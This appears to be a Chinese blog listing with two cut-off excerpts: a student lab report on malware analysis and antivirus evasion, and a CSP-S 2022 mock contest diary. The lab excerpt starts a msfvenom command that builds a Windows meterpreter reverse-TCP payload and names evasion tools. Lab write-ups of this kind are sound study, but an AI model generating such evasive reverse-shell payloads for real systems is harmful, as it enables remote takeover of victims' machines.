    1.实验内容学习了恶意代码和恶意代码的分析,并介绍了信息搜集技术和怎样进行信息搜集。2.实验过程1.1正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧(1)使用msf生成可执行文件并检测生成payload并检测msfvenom-pwindows/meterpreter/reverse_tcpLHOS......
  • CSP-S 2022 - 模拟赛记录
    PrefaceT1调的太久了,应当先打够部分分就切题的,全分思维难度不高,代码难度超高。可能是出题人知道把最简单题放T2有点过于恶心,所以后两道题的部分分都很好打,给的分也很多,一共\(55\)分可以轻松到手。就是第二题卡了一个unsignedlonglong,有点莫名其妙,而且T1放模拟也是头......